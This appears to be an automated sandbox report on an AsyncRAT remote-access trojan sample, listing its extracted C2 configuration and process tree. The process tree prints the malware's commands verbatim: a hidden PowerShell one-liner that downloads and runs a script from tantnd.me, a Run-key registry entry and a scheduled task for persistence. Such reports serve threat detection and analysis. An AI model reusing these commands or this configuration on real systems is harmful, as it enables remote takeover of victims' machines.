Analysis
- max time kernel
59s - max time network
63s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
03/09/2026, 19:12
General
- Target ade61183dd197a3e26d7ac8cb4d9530dd3128aa90d615f1d9ec2abd016f1b625.exe
- Size 148KB
- Sample260903-xwkdpsbc55
- SHA256 ade61183dd197a3e26d7ac8cb4d9530dd3128aa90d615f1d9ec2abd016f1b625
Malware Config
Extracted
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ps1
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ps1.dropper
http://tantnd.me/load.ps1
Extracted
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asyncrat
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0.5.8
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Default
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tantnd.me:443
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tantnd.me:8080
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www.tantnd.me:443
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www.tantnd.me:8080
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vMnLb30Nf0ey
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delay
3
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install
true
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install_file
tele@engineer_at_meta.exe
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install_folder
%AppData%
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Async RAT payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes
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C:\Users\Admin\AppData\Local\Temp\ade61183dd197a3e26d7ac8cb4d9530dd3128aa90d615f1d9ec2abd016f1b625.exe"C:\Users\Admin\AppData\Local\Temp\ade61183dd197a3e26d7ac8cb4d9530dd3128aa90d615f1d9ec2abd016f1b625.exe"1⤵
- System Location Discovery: System Language Discovery
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tantnd.me/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tantnd.me/load.ps1')\"" /f3⤵
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"' & exit2⤵
- Executes a command shell one-liner
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"'3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF0C0.tmp.bat""2⤵
- Executes a command shell one-liner
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C:\Windows\SysWOW64\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"3⤵
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tantnd.me/load.ps1')\"" /f4⤵
- Executes a command shell one-liner
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tantnd.me/load.ps1')\"" /f5⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tantnd.me/load.ps1')"1⤵
- Command and Scripting Interpreter: PowerShell
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C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"1⤵
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tantnd.me/load.ps1')\"" /f2⤵
- Executes a command shell one-liner
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "QH88UpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tantnd.me/load.ps1')\"" /f3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
tmpF0C0.tmp.bat
tele@engineer_at_meta.exe
memory/1032-10-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1032-11-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1032-6-0x0000027E0F260000-0x0000027E0F282000-memory.dmp
memory/1032-7-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1032-8-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1032-9-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1032-16-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1032-3-0x00007FFFFB70F000-0x00007FFFFB710000-memory.dmp
memory/1032-13-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp
memory/1048-14-0x0000000074B62000-0x0000000074B63000-memory.dmp
memory/1048-15-0x0000000074B50000-0x000000007530C000-memory.dmp
memory/1048-0-0x0000000074B62000-0x0000000074B63000-memory.dmp
memory/1048-17-0x0000000005880000-0x000000000591C000-memory.dmp
memory/1048-22-0x0000000074B50000-0x000000007530C000-memory.dmp
memory/1048-2-0x0000000074B50000-0x000000007530C000-memory.dmp
memory/1048-1-0x00000000000E0000-0x000000000010C000-memory.dmp